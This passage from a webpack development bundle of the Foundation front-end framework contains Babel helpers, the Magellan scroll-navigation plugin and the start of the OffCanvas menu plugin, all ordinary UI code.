525 return _typeof(key) === "symbol" ? key : String(key); }\nfunction _toPrimitive(input, hint) { if (_typeof(input) !== "object" || input === null) return input; var prim = input[Symbol.toPrimitive]; if (prim !== undefined) { var res = prim.call(input, hint || "default"); if (_typeof(res) !== "object") return res; throw new TypeError("@@toPrimitive must return a primitive value."); } return (hint === "string" ? String : Number)(input); }\nfunction _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); Object.defineProperty(subClass, "prototype", { writable: false }); if (superClass) _setPrototypeOf(subClass, superClass); }\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf ? Object.setPrototypeOf.bind() : function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\nfunction _createSuper(Derived) { var hasNativeReflectConstruct = _isNativeReflectConstruct(); return function _createSuperInternal() { var Super = _getPrototypeOf(Derived), result; if (hasNativeReflectConstruct) { var NewTarget = _getPrototypeOf(this).constructor; result = Reflect.construct(Super, arguments, NewTarget); } else { result = Super.apply(this, arguments); } return _possibleConstructorReturn(this, result); }; }\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } else if (call !== void 0) { throw new TypeError("Derived constructors may only return object or undefined"); } return _assertThisInitialized(self); }\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn\'t been initialised - super() hasn\'t been called"); } return self; }\nfunction _isNativeReflectConstruct() { if (typeof Reflect === "undefined" || !Reflect.construct) return false; if (Reflect.construct.sham) return false; if (typeof Proxy === "function") return true; try { Boolean.prototype.valueOf.call(Reflect.construct(Boolean, [], function () {})); return true; } catch (e) { return false; } }\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf.bind() : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\n\n\n\n\n\n/**\n * Magellan module.\n * @module foundation.magellan\n * @requires foundation.smoothScroll\n * @requires foundation.util.triggers\n */\nvar Magellan = /*#__PURE__*/function (_Plugin) {\n  _inherits(Magellan, _Plugin);\n  var _super = _createSuper(Magellan);\n  function Magellan() {\n    _classCallCheck(this, Magellan);\n    return _super.apply(this, arguments);\n  }\n  _createClass(Magellan, [{\n    key: "_setup",\n    value:\n    /**\n     * Creates a new instance of Magellan.\n     * @class\n     * @name Magellan\n     * @fires Magellan#init\n     * @param {Object} element - jQuery object to add the trigger to.\n     * @param {Object} options - Overrides to the default plugin settings.\n     */\n    function _setup(element, options) {\n      this.$element = element;\n      this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default().extend({}, Magellan.defaults, this.$element.data(), options);\n      this.className = \'Magellan\'; // ie9 back compat\n\n      // Triggers init is idempotent, just need to make sure it is initialized\n      _foundation_util_triggers__WEBPACK_IMPORTED_MODULE_4__.Triggers.init((jquery__WEBPACK_IMPORTED_MODULE_0___default()));\n      this._init();\n      this.calcPoints();\n    }\n\n    /**\n     * Initializes the Magellan plugin and calls functions to get equalizer functioning on load.\n     * @private\n     */\n  }, {\n    key: "_init",\n    value: function _init() {\n      var id = this.$element[0].id || (0,_foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__.GetYoDigits)(6, \'magellan\');\n      this.$targets = jquery__WEBPACK_IMPORTED_MODULE_0___default()(\'[data-magellan-target]\');\n      this.$links = this.$element.find(\'a\');\n      this.$element.attr({\n        \'data-resize\': id,\n        \'data-scroll\': id,\n        \'id\': id\n      });\n      this.$active = jquery__WEBPACK_IMPORTED_MODULE_0___default()();\n      this.scrollPos = parseInt(window.pageYOffset, 10);\n      this._events();\n    }\n\n    /**\n     * Calculates an array of pixel values that are the demarcation lines between locations on the page.\n     * Can be invoked if new elements are added or the size of a location changes.\n     * @function\n     */\n  }, {\n    key: "calcPoints",\n    value: function calcPoints() {\n      var _this = this,\n        body = document.body,\n        html = document.documentElement;\n      this.points = [];\n      this.winHeight = Math.round(Math.max(window.innerHeight, html.clientHeight));\n      this.docHeight = Math.round(Math.max(body.scrollHeight, body.offsetHeight, html.clientHeight, html.scrollHeight, html.offsetHeight));\n      this.$targets.each(function () {\n        var $tar = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n          pt = Math.round($tar.offset().top - _this.options.threshold);\n        $tar.targetPoint = pt;\n        _this.points.push(pt);\n      });\n    }\n\n    /**\n     * Initializes events for Magellan.\n     * @private\n     */\n  }, {\n    key: "_events",\n    value: function _events() {\n      var _this = this;\n      jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).one(\'load\', function () {\n        if (_this.options.deepLinking) {\n          if (location.hash) {\n            _this.scrollToLoc(location.hash);\n          }\n        }\n        _this.calcPoints();\n        _this._updateActive();\n      });\n      _this.onLoadListener = (0,_foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__.onLoad)(jquery__WEBPACK_IMPORTED_MODULE_0___default()(window), function () {\n        _this.$element.on({\n          \'resizeme.zf.trigger\': _this.reflow.bind(_this),\n          \'scrollme.zf.trigger\': _this._updateActive.bind(_this)\n        }).on(\'click.zf.magellan\', \'a[href^="#"]\', function (e) {\n          e.preventDefault();\n          var arrival = this.getAttribute(\'href\');\n          _this.scrollToLoc(arrival);\n        });\n      });\n      this._deepLinkScroll = function () {\n        if (_this.options.deepLinking) {\n          _this.scrollToLoc(window.location.hash);\n        }\n      };\n      jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).on(\'hashchange\', this._deepLinkScroll);\n    }\n\n    /**\n     * Function to scroll to a given location on the page.\n     * @param {String} loc - a properly formatted jQuery id selector. Example: \'#foo\'\n     * @function\n     */\n  }, {\n    key: "scrollToLoc",\n    value: function scrollToLoc(loc) {\n      this._inTransition = true;\n      var _this = this;\n      var options = {\n        animationEasing: this.options.animationEasing,\n        animationDuration: this.options.animationDuration,\n        threshold: this.options.threshold,\n        offset: this.options.offset\n      };\n      _foundation_smoothScroll__WEBPACK_IMPORTED_MODULE_3__.SmoothScroll.scrollToLoc(loc, options, function () {\n        _this._inTransition = false;\n      });\n    }\n\n    /**\n     * Calls necessary functions to update Magellan upon DOM change\n     * @function\n     */\n  }, {\n    key: "reflow",\n    value: function reflow() {\n      this.calcPoints();\n      this._updateActive();\n    }\n\n    /**\n     * Updates the visibility of an active location link, and updates the url hash for the page, if deepLinking enabled.\n     * @private\n     * @function\n     * @fires Magellan#update\n     */\n  }, {\n    key: "_updateActive",\n    value: function _updateActive( /*evt, elem, scrollPos*/\n    ) {\n      var _this2 = this;\n      if (this._inTransition) return;\n      var newScrollPos = parseInt(window.pageYOffset, 10);\n      var isScrollingUp = this.scrollPos > newScrollPos;\n      this.scrollPos = newScrollPos;\n      var activeIdx;
525\n      // Before the first point: no link\n      if (newScrollPos < this.points[0] - this.options.offset - (isScrollingUp ? this.options.threshold : 0)) {/* do nothing */}\n      // At the bottom of the page: last link\n      else if (newScrollPos + this.winHeight === this.docHeight) {\n        activeIdx = this.points.length - 1;\n      }\n      // Otherwhise, use the last visible link\n      else {\n        var visibleLinks = this.points.filter(function (p) {\n          return p - _this2.options.offset - (isScrollingUp ? _this2.options.threshold : 0) <= newScrollPos;\n        });\n        activeIdx = visibleLinks.length ? visibleLinks.length - 1 : 0;\n      }\n\n      // Get the new active link\n      var $oldActive = this.$active;\n      var activeHash = \'\';\n      if (typeof activeIdx !== \'undefined\') {\n        this.$active = this.$links.filter(\'[href="#\' + this.$targets.eq(activeIdx).data(\'magellan-target\') + \'"]\');\n        if (this.$active.length) activeHash = this.$active[0].getAttribute(\'href\');\n      } else {\n        this.$active = jquery__WEBPACK_IMPORTED_MODULE_0___default()();\n      }\n      var isNewActive = !(!this.$active.length && !$oldActive.length) && !this.$active.is($oldActive);\n      var isNewHash = activeHash !== window.location.hash;\n\n      // Update the active link element\n      if (isNewActive) {\n        $oldActive.removeClass(this.options.activeClass);\n        this.$active.addClass(this.options.activeClass);\n      }\n\n      // Update the hash (it may have changed with the same active link)\n      if (this.options.deepLinking && isNewHash) {\n        if (window.history.pushState) {\n          // Set or remove the hash (see: https://stackoverflow.com/a/5298684/4317384\n          var url = activeHash ? activeHash : window.location.pathname + window.location.search;\n          if (this.options.updateHistory) {\n            window.history.pushState({}, \'\', url);\n          } else {\n            window.history.replaceState({}, \'\', url);\n          }\n        } else {\n          window.location.hash = activeHash;\n        }\n      }\n      if (isNewActive) {\n        /**\n         * Fires when magellan is finished updating to the new active element.\n         * @event Magellan#update\n         */\n        this.$element.trigger(\'update.zf.magellan\', [this.$active]);\n      }\n    }\n\n    /**\n     * Destroys an instance of Magellan and resets the url of the window.\n     * @function\n     */\n  }, {\n    key: "_destroy",\n    value: function _destroy() {\n      this.$element.off(\'.zf.trigger .zf.magellan\').find(".".concat(this.options.activeClass)).removeClass(this.options.activeClass);\n      if (this.options.deepLinking) {\n        var hash = this.$active[0].getAttribute(\'href\');\n        window.location.hash.replace(hash, \'\');\n      }\n      jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off(\'hashchange\', this._deepLinkScroll);\n      if (this.onLoadListener) jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off(this.onLoadListener);\n    }\n  }]);\n  return Magellan;\n}(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_1__.Plugin);\n/**\n * Default settings for plugin\n */\nMagellan.defaults = {\n  /**\n   * Amount of time, in ms, the animated scrolling should take between locations.\n   * @option\n   * @type {number}\n   * @default 500\n   */\n  animationDuration: 500,\n  /**\n   * Animation style to use when scrolling between locations. Can be `\'swing\'` or `\'linear\'`.\n   * @option\n   * @type {string}\n   * @default \'linear\'\n   * @see {@link https://api.jquery.com/animate|Jquery animate}\n   */\n  animationEasing: \'linear\',\n  /**\n   * Number of pixels to use as a marker for location changes.\n   * @option\n   * @type {number}\n   * @default 50\n   */\n  threshold: 50,\n  /**\n   * Class applied to the active locations link on the magellan container.\n   * @option\n   * @type {string}\n   * @default \'is-active\'\n   */\n  activeClass: \'is-active\',\n  /**\n   * Allows the script to manipulate the url of the current page, and if supported, alter the history.\n   * @option\n   * @type {boolean}\n   * @default false\n   */\n  deepLinking: false,\n  /**\n   * Update the browser history with the active link, if deep linking is enabled.\n   * @option\n   * @type {boolean}\n   * @default false\n   */\n  updateHistory: false,\n  /**\n   * Number of pixels to offset the scroll of the page on item click if using a sticky nav bar.\n   * @option\n   * @type {number}\n   * @default 0\n   */\n  offset: 0\n};\n\n\n//# sourceURL=webpack://foundation-sites/./js/foundation.magellan.js?')},"./js/foundation.offcanvas.js":function(__unused_webpack_module,__webpack_exports__,__webpack_require__){eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */   OffCanvas: function() { return /* binding */ OffCanvas; }\n/* harmony export */ });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.core.plugin */ \"./js/foundation.core.plugin.js\");\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n/* harmony import */ var _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./foundation.util.keyboard */ \"./js/foundation.util.keyboard.js\");\n/* harmony import */ var _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./foundation.util.mediaQuery */ \"./js/foundation.util.mediaQuery.js\");\n/* harmony import */ var _foundation_util_triggers__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ./foundation.util.triggers */ \"./js/foundation.util.triggers.js\");\nfunction _typeof(obj) { \"@babel/helpers - typeof\"; return _typeof = \"function\" == typeof Symbol && \"symbol\" == typeof Symbol.iterator ? function (obj) { return typeof obj; } : function (obj) { return obj && \"function\" == typeof Symbol && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }, _typeof(obj); }\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if (\"value\" in descriptor) descriptor.writable = true; Object.defineProperty(target, _toPropertyKey(descriptor.key), descriptor); } }\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); Object.defineProperty(Constructor, \"prototype\", { writable: false }); return Constructor; }\nfunction _toPropertyKey(arg) { var key = _toPrimitive(arg, \"string\");
525 return _typeof(key) === \"symbol\" ? key : String(key); }\nfunction _toPrimitive(input, hint) { if (_typeof(input) !== \"object\" || input === null) return input; var prim = input[Symbol.toPrimitive]; if (prim !== undefined) { var res = prim.call(input, hint || \"default\"); if (_typeof(res) !== \"object\") return res; throw new TypeError(\"@@toPrimitive must return a primitive value.\"); } return (hint === \"string\" ? String : Number)(input); }\nfunction _inherits(subClass, superClass) { if (typeof superClass !== \"function\" && superClass !== null) { throw new TypeError(\"Super expression must either be null or a function\"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); Object.defineProperty(subClass, \"prototype\", { writable: false }); if (superClass) _setPrototypeOf(subClass, superClass); }\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf ? Object.setPrototypeOf.bind() : function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\nfunction _createSuper(Derived) { var hasNativeReflectConstruct = _isNativeReflectConstruct(); return function _createSuperInternal() { var Super = _getPrototypeOf(Derived), result; if (hasNativeReflectConstruct) { var NewTarget = _getPrototypeOf(this).constructor; result = Reflect.construct(Super, arguments, NewTarget); } else { result = Super.apply(this, arguments); } return _possibleConstructorReturn(this, result); }; }\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === \"object\" || typeof call === \"function\")) { return call; } else if (call !== void 0) { throw new TypeError(\"Derived constructors may only return object or undefined\"); } return _assertThisInitialized(self); }\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\"); } return self; }\nfunction _isNativeReflectConstruct() { if (typeof Reflect === \"undefined\" || !Reflect.construct) return false; if (Reflect.construct.sham) return false; if (typeof Proxy === \"function\") return true; try { Boolean.prototype.valueOf.call(Reflect.construct(Boolean, [], function () {})); return true; } catch (e) { return false; } }\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf.bind() : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\n\n\n\n\n\n\n/**\n * OffCanvas module.\n * @module foundation.offCanvas\n * @requires foundation.util.keyboard\n * @requires foundation.util.mediaQuery\n * @requires foundation.util.triggers\n */\nvar OffCanvas = /*#__PURE__*/function (_Plugin) {\n  _inherits(OffCanvas, _Plugin);\n  var _super = _createSuper(OffCanvas);\n  function OffCanvas() {\n    _classCallCheck(this, OffCanvas);\n    return _super.apply(this, arguments);\n  }\n  _createClass(OffCanvas, [{\n    key: \"_setup\",\n    value:\n    /**\n     * Creates a new instance of an off-canvas wrapper.\n     * @class\n     * @name OffCanvas\n     * @fires OffCanvas#init\n     * @param {Object} element - jQuery object to initialize.\n     * @param {Object} options - Overrides to the default plugin settings.\n     */\n    function _setup(element, options) {\n      var _this2 = this;\n      this.className = 'OffCanvas'; // ie9 back compat\n      this.$element = element;\n      this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default().extend({}, OffCanvas.defaults, this.$element.data(), options);\n      this.contentClasses = {\n        base: [],\n        reveal: []\n      };\n      this.$lastTrigger = jquery__WEBPACK_IMPORTED_MODULE_0___default()();\n      this.$triggers = jquery__WEBPACK_IMPORTED_MODULE_0___default()();\n      this.position = 'left';\n      this.$content = jquery__WEBPACK_IMPORTED_MODULE_0___default()();\n      this.nested = !!this.options.nested;\n      this.$sticky = jquery__WEBPACK_IMPORTED_MODULE_0___default()();\n      this.isInCanvas = false;\n\n      // Defines the CSS transition/position classes of the off-canvas content container.\n      jquery__WEBPACK_IMPORTED_MODULE_0___default()(['push', 'overlap']).each(function (index, val) {\n        _this2.contentClasses.base.push('has-transition-' + val);\n      });\n      jquery__WEBPACK_IMPORTED_MODULE_0___default()(['left', 'right', 'top', 'bottom']).each(function (index, val) {\n        _this2.contentClasses.base.push('has-position-' + val);\n        _this2.contentClasses.reveal.push('has-reveal-' + val);\n      });\n\n      // Triggers init is idempotent, just need to make sure it is initialized\n      _foundation_util_triggers__WEBPACK_IMPORTED_MODULE_5__.Triggers.init((jquery__WEBPACK_IMPORTED_MODULE_0___default()));\n      _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_4__.MediaQuery._init();\n      this._init();\n      this._events();\n      _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_3__.Keyboard.register('OffCanvas', {\n        'ESCAPE': 'close'\n      });\n    }\n\n    /**\n     * Initializes the off-canvas wrapper by adding the exit overlay (if needed).\n     * @function\n     * @private\n     */\n  }, {\n    key: \"_init\",\n    value: function _init() {\n      var id = this.$element.attr('id');\n      this.$element.attr('aria-hidden', 'true');\n\n      // Find off-canvas content, either by ID (if specified), by siblings or by closest selector (fallback)\n      if (this.options.contentId) {\n        this.$content = jquery__WEBPACK_IMPORTED_MODULE_0___default()('#' + this.options.contentId);\n      } else if (this.$element.siblings('[data-off-canvas-content]').length) {\n        this.$content = this.$element.siblings('[data-off-canvas-content]').first();\n      } else {\n        this.$content = this.$element.closest('[data-off-canvas-content]').first();\n      }\n      if (!this.options.contentId) {\n        // Assume that the off-canvas element is nested if it isn't a sibling of the content\n        this.nested = this.$element.siblings('[data-off-canvas-content]').length === 0;\n      } else if (this.options.contentId && this.options.nested === null) {\n        // Warning if using content ID without setting the nested option\n        // Once the element is nested it is required to work properly in this case\n        console.warn('Remember to use the nested option if using the content ID option!');\n      }\n      if (this.nested === true) {\n        // Force transition overlap if nested\n        this.options.transition = 'overlap';
525\n        // Remove appropriate classes if already assigned in markup\n        this.$element.removeClass('is-transition-push');\n      }\n      this.$element.addClass(\"is-transition-\".concat(this.options.transition, \" is-closed\"));\n\n      // Find triggers that affect this element and add aria-expanded to them\n      this.$triggers = jquery__WEBPACK_IMPORTED_MODULE_0___default()(document).find('[data-open=\"' + id + '\"], [data-close=\"' + id + '\"], [data-toggle=\"' + id + '\"]').attr('aria-expanded', 'false').attr('aria-controls', id);\n\n      // Get position by checking for related CSS class\n      this.position = this.$element.is('.position-left, .position-top, .position-right, .position-bottom') ? this.$element.attr('class').match(/position\\-(left|top|right|bottom)/)[1] : this.position;\n\n      // Add an overlay over the content if necessary\n      if (this.options.contentOverlay === true) {\n        var overlay = document.createElement('div');\n        var overlayPosition = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this.$element).css(\"position\") === 'fixed' ? 'is-overlay-fixed' : 'is-overlay-absolute';\n        overlay.setAttribute('class', 'js-off-canvas-overlay ' + overlayPosition);\n        this.$overlay = jquery__WEBPACK_IMPORTED_MODULE_0___default()(overlay);\n        if (overlayPosition === 'is-overlay-fixed') {\n          jquery__WEBPACK_IMPORTED_MODULE_0___default()(this.$overlay).insertAfter(this.$element);\n        } else {\n          this.$content.append(this.$overlay);\n        }\n      }\n\n      // Get the revealOn option from the class.\n      var revealOnRegExp = new RegExp((0,_foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__.RegExpEscape)(this.options.revealClass) + '([^\\\\s]+)', 'g');\n      var revealOnClass = revealOnRegExp.exec(this.$element[0].className);\n      if (revealOnClass) {\n        this.options.isRevealed = true;\n        this.options.revealOn = this.options.revealOn || revealOnClass[1];\n      }\n\n      // Ensure the `reveal-on-*` class is set.\n      if (this.options.isRevealed === true && this.options.revealOn) {\n        this.$element.first().addClass(\"\".concat(this.options.revealClass).concat(this.options.revealOn));\n        this._setMQChecker();\n      }\n      if (this.options.transitionTime) {\n        this.$element.css('transition-duration', this.options.transitionTime);\n      }\n\n      // Find fixed elements that should stay fixed while off-canvas is opened\n      this.$sticky = this.$content.find('[data-off-canvas-sticky]');\n      if (this.$sticky.length > 0 && this.options.transition === 'push') {\n        // If there's at least one match force contentScroll:false because the absolute top value doesn't get recalculated on scroll\n        // Limit to push transition since there's no transform scope for overlap\n        this.options.contentScroll = false;\n      }\n      var inCanvasFor = this.$element.attr('class').match(/\\bin-canvas-for-(\\w+)/);\n      if (inCanvasFor && inCanvasFor.length === 2) {\n        // Set `inCanvasOn` option if found in-canvas-for-[BREAKPONT] CSS class\n        this.options.inCanvasOn = inCanvasFor[1];\n      } else if (this.options.inCanvasOn) {\n        // Ensure the CSS class is set\n        this.$element.addClass(\"in-canvas-for-\".concat(this.options.inCanvasOn));\n      }\n      if (this.options.inCanvasOn) {\n        this._checkInCanvas();\n      }\n\n      // Initally remove all transition/position CSS classes from off-canvas content container.\n      this._removeContentClasses();\n    }\n\n    /**\n     * Adds event handlers to the off-canvas wrapper and the exit overlay.\n     * @function\n     * @private\n     */\n  }, {\n    key: \"_events\",\n    value: function _events() {\n      var _this3 = this;\n      this.$element.off('.zf.trigger .zf.offCanvas').on({\n        'open.zf.trigger': this.open.bind(this),\n        'close.zf.trigger': this.close.bind(this),\n        'toggle.zf.trigger': this.toggle.bind(this),\n        'keydown.zf.offCanvas': this._handleKeyboard.bind(this)\n      });\n      if (this.options.closeOnClick === true) {\n        var $target = this.options.contentOverlay ? this.$overlay : this.$content;\n        $target.on({\n          'click.zf.offCanvas': this.close.bind(this)\n        });\n      }\n      if (this.options.inCanvasOn) {\n        jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).on('changed.zf.mediaquery', function () {\n          _this3._checkInCanvas();\n        });\n      }\n    }\n\n    /**\n     * Applies event listener for elements that will reveal at certain breakpoints.\n     * @private\n     */\n  }, {\n    key: \"_setMQChecker\",\n    value: function _setMQChecker() {\n      var _this = this;\n      this.onLoadListener = (0,_foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__.onLoad)(jquery__WEBPACK_IMPORTED_MODULE_0___default()(window), function () {\n        if (_foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_4__.MediaQuery.atLeast(_this.options.revealOn)) {\n          _this.reveal(true);\n        }\n      });\n      jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).on('changed.zf.mediaquery', function () {\n        if (_foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_4__.MediaQuery.atLeast(_this.options.revealOn)) {\n          _this.reveal(true);\n        } else {\n          _this.reveal(false);\n        }\n      });\n    }\n\n    /**\n     * Checks if InCanvas on current breakpoint and adjust off-canvas accordingly\n     * @private\n     */\n  }, {\n    key: \"_checkInCanvas\",\n    value: function _checkInCanvas() {\n      this.isInCanvas = _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_4__.MediaQuery.atLeast(this.options.inCanvasOn);\n      if (this.isInCanvas === true) {\n        this.close();\n      }\n    }\n\n    /**\n     * Removes the CSS transition/position classes of the off-canvas content container.\n     * Removing the classes is important when another off-canvas gets opened that uses the same content container.\n     * @param {Boolean} hasReveal - true if related off-canvas element is revealed.\n     * @private\n     */\n  }, {\n    key: \"_removeContentClasses\",\n    value: function _removeContentClasses(hasReveal) {\n      if (typeof hasReveal !== 'boolean') {\n        this.$content.removeClass(this.contentClasses.base.join(' '));\n      } else if (hasReveal === false) {\n        this.$content.removeClass(\"has-reveal-\".concat(this.position));\n      }\n    }\n\n    /**\n     * Adds the CSS transition/position classes of the off-canvas content container, based on the opening off-canvas element.\n     * Beforehand any transition/position class gets removed.\n     * @param {Boolean} hasReveal - true if related off-canvas element is revealed.\n     * @private\n     */\n  }, {\n    key: \"_addContentClasses\",\n    value: function _addContentClasses(hasReveal) {\n      this._removeContentClasses(hasReveal);\n      if (typeof hasReveal !== 'boolean') {\n        this.$content.addClass(\"has-transition-\".concat(this.options.transition, \" has-position-\").concat(this.position));\n      } else if (hasReveal === true) {\n        this.$content.addClass(\"has-reveal-\".concat(this.position));\n      }\n    }\n\n    /**\n     * Preserves the fixed behavior of sticky elements on opening an off-canvas with push transition.\n     * Since the off-canvas container has got a transform scope in such a case, it is done by calculating position absolute values.\
525n     * @private\n     */\n  }, {\n    key: \"_fixStickyElements\",\n    value: function _fixStickyElements() {\n      this.$sticky.each(function (_, el) {\n        var $el = jquery__WEBPACK_IMPORTED_MODULE_0___default()(el);\n\n        // If sticky element is currently fixed, adjust its top value to match absolute position due to transform scope\n        // Limit to push transition because postion:fixed works without problems for overlap (no transform scope)\n        if ($el.css('position') === 'fixed') {\n          // Save current inline styling to restore it if undoing the absolute fixing\n          var topVal = parseInt($el.css('top'), 10);\n          $el.data('offCanvasSticky', {\n            top: topVal\n          });\n          var absoluteTopVal = jquery__WEBPACK_IMPORTED_MODULE_0___default()(document).scrollTop() + topVal;\n          $el.css({\n            top: \"\".concat(absoluteTopVal, \"px\"),\n            width: '100%',\n            transition: 'none'\n          });\n        }\n      });\n    }\n\n    /**\n     * Restores the original fixed styling of sticky elements after having closed an off-canvas that got pseudo fixed beforehand.\n     * This reverts the changes of _fixStickyElements()\n     * @private\n     */\n  }, {\n    key: \"_unfixStickyElements\",\n    value: function _unfixStickyElements() {\n      this.$sticky.each(function (_, el) {\n        var $el = jquery__WEBPACK_IMPORTED_MODULE_0___default()(el);\n        var stickyData = $el.data('offCanvasSticky');\n\n        // If sticky element has got data object with prior values (meaning it was originally fixed) restore these values once off-canvas is closed\n        if (_typeof(stickyData) === 'object') {\n          $el.css({\n            top: \"\".concat(stickyData.top, \"px\"),\n            width: '',\n            transition: ''\n          });\n          $el.data('offCanvasSticky', '');\n        }\n      });\n    }\n\n    /**\n     * Handles the revealing/hiding the off-canvas at breakpoints, not the same as open.\n     * @param {Boolean} isRevealed - true if element should be revealed.\n     * @function\n     */\n  }, {\n    key: \"reveal\",\n    value: function reveal(isRevealed) {\n      if (isRevealed) {\n        this.close();\n        this.isRevealed = true;\n        this.$element.attr('aria-hidden', 'false');\n        this.$element.off('open.zf.trigger toggle.zf.trigger');\n        this.$element.removeClass('is-closed');\n      } else {\n        this.isRevealed = false;\n        this.$element.attr('aria-hidden', 'true');\n        this.$element.off('open.zf.trigger toggle.zf.trigger').on({\n          'open.zf.trigger': this.open.bind(this),\n          'toggle.zf.trigger': this.toggle.bind(this)\n        });\n        this.$element.addClass('is-closed');\n      }\n      this._addContentClasses(isRevealed);\n    }\n\n    /**\n     * Stops scrolling of the body when OffCanvas is open on mobile Safari and other troublesome browsers.\n     * @function\n     * @private\n     */\n  }, {\n    key: \"_stopScrolling\",\n    value: function _stopScrolling() {\n      return false;\n    }\n\n    /**\n     * Save current finger y-position\n     * @param event\n     * @private\n     */\n  }, {\n    key: \"_recordScrollable\",\n    value: function _recordScrollable(event) {\n      var elem = this;\n      elem.lastY = event.touches[0].pageY;\n    }\n\n    /**\n     * Prevent further scrolling when it hits the edges\n     * @param event\n     * @private\n     */\n  }, {\n    key: \"_preventDefaultAtEdges\",\n    value: function _preventDefaultAtEdges(event) {\n      var elem = this;\n      var _this = event.data;\n      var delta = elem.lastY - event.touches[0].pageY;\n      elem.lastY = event.touches[0].pageY;\n      if (!_this._canScroll(delta, elem)) {\n        event.preventDefault();\n      }\n    }\n\n    /**\n     * Handle continuous scrolling of scrollbox\n     * Don't bubble up to _preventDefaultAtEdges\n     * @param event\n     * @private\n     */\n  }, {\n    key: \"_scrollboxTouchMoved\",\n    value: function _scrollboxTouchMoved(event) {\n      var elem = this;\n      var _this = event.data;\n      var parent = elem.closest('[data-off-canvas], [data-off-canvas-scrollbox-outer]');\n      var delta = elem.lastY - event.touches[0].pageY;\n      parent.lastY = elem.lastY = event.touches[0].pageY;\n      event.stopPropagation();\n      if (!_this._canScroll(delta, elem)) {\n        if (!_this._canScroll(delta, parent)) {\n          event.preventDefault();\n        } else {\n          parent.scrollTop += delta;\n        }\n      }\n    }\n\n    /**\n     * Detect possibility of scrolling\n     * @param delta\n     * @param elem\n     * @returns boolean\n     * @private\n     */\n  }, {\n    key: \"_canScroll\",\n    value: function _canScroll(delta, elem) {\n      var up = delta < 0;\n      var down = delta > 0;\n      var allowUp = elem.scrollTop > 0;\n      var allowDown = elem.scrollTop < elem.scrollHeight - elem.clientHeight;\n      return up && allowUp || down && allowDown;\n    }\n\n    /**\n     * Opens the off-canvas menu.\n     * @function\n     * @param {Object} event - Event object passed from listener.\n     * @param {jQuery} trigger - element that triggered the off-canvas to open.\n     * @fires OffCanvas#opened\n     * @todo also trigger 'open' event?\n     */\n  }, {\n    key: \"open\",\n    value: function open(event, trigger) {\n      var _this4 = this;\n      if (this.$element.hasClass('is-open') || this.isRevealed || this.isInCanvas) {\n        return;\n      }\n      var _this = this;\n      if (trigger) {\n        this.$lastTrigger = trigger;\n      }\n      if (this.options.forceTo === 'top') {\n        window.scrollTo(0, 0);\n      } else if (this.options.forceTo === 'bottom') {\n        window.scrollTo(0, document.body.scrollHeight);\n      }\n      if (this.options.transitionTime && this.options.transition !== 'overlap') {\n        this.$element.siblings('[data-off-canvas-content]').css('transition-duration', this.options.transitionTime);\n      } else {\n        